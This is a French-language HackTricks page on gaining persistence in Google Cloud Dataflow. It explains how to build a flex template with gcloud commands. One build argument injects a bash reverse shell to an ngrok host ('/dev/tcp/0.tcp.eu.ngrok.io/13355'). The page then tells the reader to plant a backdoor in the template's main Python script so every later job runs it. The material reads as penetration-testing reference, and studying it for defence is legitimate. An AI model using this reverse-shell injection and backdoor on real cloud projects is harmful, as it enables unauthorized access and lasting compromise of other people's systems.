GCP - Dataflow Persistence

Soutenez HackTricks

Dataflow

Persistance invisible dans le conteneur intégré

Suivant le tutoriel de la documentation vous pouvez créer un nouveau modèle flexible (par exemple en python) :

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Pendant la construction, vous obtiendrez un shell inversé (vous pourriez abuser des variables d'environnement comme dans l'exemple précédent ou d'autres paramètres qui définissent le fichier Docker pour exécuter des choses arbitraires). À ce moment, à l'intérieur du shell inversé, il est possible de se rendre dans le répertoire /template et de modifier le code du script principal en python qui sera exécuté (dans notre exemple, il s'agit de getting_started.py). Placez votre porte dérobée ici afin qu'à chaque fois que le travail est exécuté, il l'exécute.

Ensuite, la prochaine fois que le travail est exécuté, le conteneur compromis construit sera exécuté :

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Soutenez HackTricks

Last updated